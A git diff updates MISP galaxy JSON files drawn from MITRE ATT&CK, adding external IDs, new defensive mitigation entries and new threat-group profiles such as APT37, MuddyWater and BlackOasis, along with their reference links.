"value": "Credentials in Files Mitigation - T1081",
- "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72"
+ "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72",
+ "meta": {
+ "external_id": "T1081"
+ }
+ },
+ {
+ "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.",
+ "value": "Port Knocking Mitigation - T1205",
+ "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575",
+ "meta": {
+ "external_id": "T1205"
+ }
+ },
+ {
+ "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
+ "value": "Drive-by Compromise Mitigation - T1189",
+ "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0",
+ "meta": {
+ "external_id": "T1189"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Permission Groups Discovery Mitigation - T1069",
- "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987"
+ "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987",
+ "meta": {
+ "external_id": "T1069"
+ }
},
{
"description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
"value": "Logon Scripts Mitigation - T1037",
- "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2"
+ "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
+ "meta": {
+ "external_id": "T1037"
+ }
},
{
"description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
"value": "Code Signing Mitigation - T1116",
- "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08"
+ "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
+ "meta": {
+ "external_id": "T1116"
+ }
+ },
+ {
+ "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
+ "value": "Hardware Additions Mitigation - T1200",
+ "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f",
+ "meta": {
+ "external_id": "T1200"
+ }
},
{
"description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
"value": "Windows Remote Management Mitigation - T1028",
- "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025"
+ "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025",
+ "meta": {
+ "external_id": "T1028"
+ }
},
{
- "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation of Vulnerability to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
+ "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
"value": "Web Shell Mitigation - T1100",
- "uuid": "bcc91b8c-f104-4710-964e-1d5409666736"
+ "uuid": "bcc91b8c-f104-4710-964e-1d5409666736",
+ "meta": {
+ "external_id": "T1100"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Process Doppelgänging Mitigation - T1186",
- "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31"
+ "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31",
+ "meta": {
+ "external_id": "T1186"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Data Obfuscation Mitigation - T1001",
- "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e"
+ "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
+ "meta": {
+ "external_id": "T1001"
+ }
},
{
"description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Software Packing Mitigation - T1045",
- "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502"
+ "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502",
+ "meta": {
+ "external_id": "T1045"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Security Software Discovery Mitigation - T1063",
- "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae"
+ "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae",
+ "meta": {
+ "external_id": "T1063"
+ }
}
]
}
diff --git a/clusters/mitre-enterprise-attack-intrusion-set.json b/clusters/mitre-enterprise-attack-intrusion-set.json
index f87847a..e731aea 100644
--- a/clusters/mitre-enterprise-attack-intrusion-set.json
+++ b/clusters/mitre-enterprise-attack-intrusion-set.json
@@ -2,7 +2,7 @@
"name": "Enterprise Attack -intrusion Set",
"type": "mitre-enterprise-attack-intrusion-set",
"description": "Name of ATT&CK Group",
- "version": 3,
+ "version": 4,
"source": "https://github.com/mitre/cti",
"uuid": "01f18402-1708-11e8-ac1c-1ffb3c4a7775",
"authors": [
@@ -19,7 +19,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0033",
"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
- ]
+ ],
+ "external_id": "G0033"
},
"uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446"
},
@@ -33,7 +34,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0043",
"https://citizenlab.org/2016/08/group5-syria/"
- ]
+ ],
+ "external_id": "G0043"
},
"uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40"
},
@@ -48,7 +50,8 @@
"https://attack.mitre.org/wiki/Group/G0011",
"http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"
- ]
+ ],
+ "external_id": "G0011"
},
"uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647"
},
@@ -62,7 +65,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0018",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
- ]
+ ],
+ "external_id": "G0018"
},
"uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756"
},
@@ -76,7 +80,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0048",
"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
- ]
+ ],
+ "external_id": "G0048"
},
"uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f"
},
@@ -90,12 +95,13 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0023",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
- ]
+ ],
+ "external_id": "G0023"
},
"uuid": "d6e88e18-81e8-4709-82d8-973095da1e70"
},
{
- "description": "is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev",
+ "description": "Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev",
"value": "Sowbug - G0054",
"meta": {
"synonyms": [
@@ -104,7 +110,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0054",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
- ]
+ ],
+ "external_id": "G0054"
},
"uuid": "d1acfbb3-647b-4723-9154-800ec119006e"
},
@@ -128,10 +135,25 @@
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ]
+ ],
+ "external_id": "G0007"
},
"uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
},
+ {
+ "description": "PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)\n\nContributors: Ryan Becwar",
+ "value": "PLATINUM - G0068",
+ "meta": {
+ "synonyms": [
+ "PLATINUM"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0068"
+ ],
+ "external_id": "G0068"
+ },
+ "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694"
+ },
{
"description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
"value": "Winnti Group - G0044",
@@ -145,7 +167,8 @@
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
"https://securelist.com/games-are-over/70991/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
- ]
+ ],
+ "external_id": "G0044"
},
"uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff"
},
@@ -167,7 +190,8 @@
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
"https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf"
- ]
+ ],
+ "external_id": "G0009"
},
"uuid": "a653431d-6a5e-4600-8ad3-609b5af57064"
},
@@ -182,7 +206,8 @@
],
"refs": [
"https://attack.mitre.org/wiki/Group/G0021"
- ]
+ ],
+ "external_id": "G0021"
},
"uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411"
},
@@ -198,7 +223,8 @@
"https://attack.mitre.org/wiki/Group/G0041",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets",
"https://securelist.com/faq-the-projectsauron-apt/75533/"
- ]
+ ],
+ "external_id": "G0041"
},
"uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656"
},
@@ -213,7 +239,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0034",
"https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"
- ]
+ ],
+ "external_id": "G0034"
},
"uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192"
},
@@ -227,7 +254,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0037",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
- ]
+ ],
+ "external_id": "G0037"
},
"uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb"
},
@@ -241,10 +269,46 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0031",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
- ]
+ ],
+ "external_id": "G0031"
},
"uuid": "ae41895a-243f-4a65-b99b-d85022326c31"
},
+ {
+ "description": "TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
+ "value": "TA459 - G0062",
+ "meta": {
+ "synonyms": [
+ "TA459"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0062",
+ "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
+ ],
+ "external_id": "G0062"
+ },
+ "uuid": "62a64fd3-aaf7-4d09-a375-d6f8bb118481"
+ },
+ {
+ "description": "APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. The group was believed to be responsible for a 2016 campaign known as Operation Daybreak as well as an earlier campaign known as Operation Erebus. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
+ "value": "APT37 - G0067",
+ "meta": {
+ "synonyms": [
+ "APT37",
+ "ScarCruft",
+ "Reaper",
+ "Group123",
+ "TEMP.Reaper"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0067",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf",
+ "https://securelist.com/operation-daybreak/75100/"
+ ],
+ "external_id": "G0067"
+ },
+ "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c"
+ },
{
"description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
"value": "Cleaver - G0003",
@@ -258,7 +322,8 @@
"https://attack.mitre.org/wiki/Group/G0003",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
- ]
+ ],
+ "external_id": "G0003"
},
"uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063"
},
@@ -276,12 +341,13 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0005",
"http://www.crowdstrike.com/blog/whois-numbered-panda/"
- ]
+ ],
+ "external_id": "G0005"
},
"uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb"
},
{
- "description": "is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+ "description": "NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
"value": "NEODYMIUM - G0055",
"meta": {
"synonyms": [
@@ -290,8 +356,10 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0055",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
- "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
- ]
+ "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf",
+ "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"
+ ],
+ "external_id": "G0055"
},
"uuid": "025bdaa9-897d-4bad-afa6-013ba5734653"
},
@@ -305,7 +373,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0057",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
- ]
+ ],
+ "external_id": "G0057"
},
"uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6"
},
@@ -319,7 +388,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0002",
"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html"
- ]
+ ],
+ "external_id": "G0002"
},
"uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f"
},
@@ -337,7 +407,8 @@
"https://attack.mitre.org/wiki/Group/G0027",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.secureworks.com/research/bronze-union"
- ]
+ ],
+ "external_id": "G0027"
},
"uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c"
},
@@ -352,7 +423,8 @@
"https://attack.mitre.org/wiki/Group/G0017",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
- ]
+ ],
+ "external_id": "G0017"
},
"uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a"
},
@@ -369,7 +441,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0006",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ]
+ ],
+ "external_id": "G0006"
},
"uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662"
},
@@ -383,7 +456,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0051",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
- ]
+ ],
+ "external_id": "G0051"
},
"uuid": "fbe9387f-34e6-4828-ac28-3080020c597b"
},
@@ -402,12 +476,13 @@
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/",
"https://pan-unit42.github.io/playbook%20viewer/",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
- ]
+ ],
+ "external_id": "G0049"
},
"uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d"
},
{
- "description": "is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
+ "description": "Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
"value": "Charming Kitten - G0058",
"meta": {
"synonyms": [
@@ -416,7 +491,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0058",
"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
- ]
+ ],
+ "external_id": "G0058"
},
"uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0"
},
@@ -432,10 +508,28 @@
"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html",
"https://www.youtube.com/watch?v=fevGZs0EQu8",
"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
- ]
+ ],
+ "external_id": "G0053"
},
"uuid": "85403903-15e0-4f9f-9be4-a259ecad4022"
},
+ {
+ "description": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
+ "value": "BlackOasis - G0063",
+ "meta": {
+ "synonyms": [
+ "BlackOasis"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0063",
+ "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
+ "https://securelist.com/apt-trends-report-q2-2017/79332/",
+ "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"
+ ],
+ "external_id": "G0063"
+ },
+ "uuid": "da49b9f1-ca99-443f-9728-0a074db66850"
+ },
{
"description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
"value": "Taidoor - G0015",
@@ -446,21 +540,25 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0015",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf"
- ]
+ ],
+ "external_id": "G0015"
},
"uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46"
},
{
- "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
+ "description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)",
"value": "Night Dragon - G0014",
"meta": {
"synonyms": [
- "Night Dragon"
+ "Night Dragon",
+ "Musical Chairs"
],
"refs": [
"https://attack.mitre.org/wiki/Group/G0014",
- "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf"
- ]
+ "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf",
+ "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/"
+ ],
+ "external_id": "G0014"
},
"uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8"
},
@@ -476,7 +574,8 @@
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf",
"http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf",
"https://securelist.com/the-naikon-apt/69953/"
- ]
+ ],
+ "external_id": "G0019"
},
"uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050"
},
@@ -490,7 +589,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0004",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
- ]
+ ],
+ "external_id": "G0004"
},
"uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c"
},
@@ -506,10 +606,27 @@
"https://attack.mitre.org/wiki/Group/G0050",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
- ]
+ ],
+ "external_id": "G0050"
},
"uuid": "247cb30b-955f-42eb-97a5-a89fef69341e"
},
+ {
+ "description": "MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to FIN7, but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)",
+ "value": "MuddyWater - G0069",
+ "meta": {
+ "synonyms": [
+ "MuddyWater",
+ "TEMP.Zagros"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0069",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
+ ],
+ "external_id": "G0069"
+ },
+ "uuid": "269e8108-68c6-4f99-b911-14b2e765dec2"
+ },
{
"description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)",
"value": "Patchwork - G0040",
@@ -517,13 +634,16 @@
"synonyms": [
"Patchwork",
"Dropping Elephant",
- "Chinastrats"
+ "Chinastrats",
+ "MONSOON",
+ "Operation Hangover"
],
"refs": [
"https://attack.mitre.org/wiki/Group/G0040",
"https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf",
"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
- ]
+ ],
+ "external_id": "G0040"
},
"uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0"
},
@@ -538,23 +658,18 @@
"https://attack.mitre.org/wiki/Group/G0013",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
"https://securelist.com/the-naikon-apt/69953/"
- ]
+ ],
+ "external_id": "G0013"
},
"uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd"
},
{
- "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent. (Citation: Forcepoint Monsoon) Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010. (Citation: Operation Hangover May 2013)",
"value": "MONSOON - G0042",
"meta": {
- "synonyms": [
- "MONSOON",
- "Operation Hangover"
- ],
"refs": [
- "https://attack.mitre.org/wiki/Group/G0042",
- "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
- "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf"
- ]
+ "https://attack.mitre.org/wiki/Group/G0042"
+ ],
+ "external_id": "G0042"
},
"uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772"
},
@@ -569,7 +684,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0025",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
- ]
+ ],
+ "external_id": "G0025"
},
"uuid": "090242d7-73fc-4738-af68-20162f7a5aae"
},
@@ -584,7 +700,8 @@
"https://attack.mitre.org/wiki/Group/G0046",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
- ]
+ ],
+ "external_id": "G0046"
},
"uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc"
},
@@ -608,7 +725,8 @@
"https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
